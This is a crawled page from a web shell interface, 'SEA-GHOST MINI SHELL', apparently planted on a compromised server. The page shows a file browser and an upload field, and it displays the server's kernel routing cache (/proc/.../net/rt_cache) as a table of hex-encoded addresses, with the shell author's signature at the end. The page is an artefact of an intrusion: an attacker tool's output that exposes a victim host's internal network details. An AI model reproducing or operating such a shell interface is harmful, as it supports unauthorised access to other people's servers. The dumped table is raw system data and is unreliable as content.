[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/proc/2/root/proc/2943/net/
FILE UPLOADER :
Current File : //proc/2/root/proc/2/root/proc/2943/net/rt_cache

Iface	Destination	Gateway 	Flags		RefCnt	Use	Metric	Source		MTU	Window	IRTT	TOS	HHRef	HHUptod	SpecDst                          
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	14BABDBA	65535	0	0	00	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	3978802F	65535	0	0	08	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	08080808	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	46EF9503	46EF9503	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	2	6	0	09E43818	65535	0	0	00	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	2601DA12	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	2892CB36	2892CB36	       0	15	19	0	96F8CCC7	1500	0	435	00	-1	0	96F8CCC7                                                 
venet0	179540AC	179540AC	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	14BABDBA	14BABDBA	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	3978802F	3978802F	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	46EF9503	65535	0	0	00	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	C3EB9003	65535	0	0	00	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	4	0	E9261268	65535	0	0	00	-1	0	96F8CCC7                                                        
lo	96F8CCC7	96F8CCC7	84000000	0	42	0	2892CB36	65535	0	0	00	-1	0	96F8CCC7                                                       
venet0	D831B32D	D831B32D	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	0B33B32D	0B33B32D	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	2892CB36	2892CB36	       0	0	3	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	08080808	08080808	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	08080808	08080808	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	3CDF3FAD	3CDF3FAD	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	8	0	3CDF3FAD	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	179540AC	179540AC	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	E9261268	E9261268	       0	0	1	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	C3EB9003	C3EB9003	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	09E43818	09E43818	       0	3	3	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	B548E112	B548E112	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	A033B32D	A033B32D	       0	0	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	E9261268	E9261268	       0	0	2	0	96F8CCC7	1500	0	75	00	-1	0	96F8CCC7                                                    
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	6C469103	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	6C469103	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	6C469103	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	6C469103	65535	0	0	00	-1	0	96F8CCC7                                                        
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
venet0	6C469103	6C469103	       0	1	0	0	96F8CCC7	1500	0	0	00	-1	0	96F8CCC7                                                     
lo	96F8CCC7	96F8CCC7	84000000	0	0	0	121726C2	65535	0	0	08	-1	0	96F8CCC7                                                        

SEA-GHOST - SHELL CODING BY SEA-GHOST